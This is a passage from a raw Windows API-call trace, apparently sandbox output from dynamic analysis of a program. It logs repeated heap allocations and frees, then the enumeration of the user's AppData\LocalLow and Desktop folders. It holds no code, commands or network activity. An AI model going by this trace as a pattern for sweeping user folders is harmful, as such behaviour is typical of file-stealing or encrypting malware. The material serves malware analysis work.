lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.027] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.027] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.028] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.028] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.029] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.029] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.030] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.030] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.031] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.031] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.031] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.031] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.031] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.031] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.031] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.031] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.031] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.031] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.031] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0121.031] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.031] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.031] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.031] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.031] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.031] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.031] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.031] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.031] PathFindFileNameW (pszPath="") returned="" [0121.031] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.031] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.032] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.032] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.032] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1c) returned 0x3022ab0 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0121.032] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.032] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.032] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x38) returned 0x3008fa0 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.032] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0121.032] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0121.032] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0121.032] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.032] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x54) returned 0x3001720 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.032] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.032] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0121.032] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.033] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.033] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.033] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0121.033] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.033] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\") returned="xwoxab1ONVdFr-x7cTy\\" [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.033] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.033] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.033] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.033] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.033] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.033] PathFindFileNameW (pszPath="") returned="" [0121.033] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dec1310, ftCreationTime.dwHighDateTime=0x1d4d58f, ftLastAccessTime.dwLowDateTime=0xafba5f40, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xafba5f40, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", 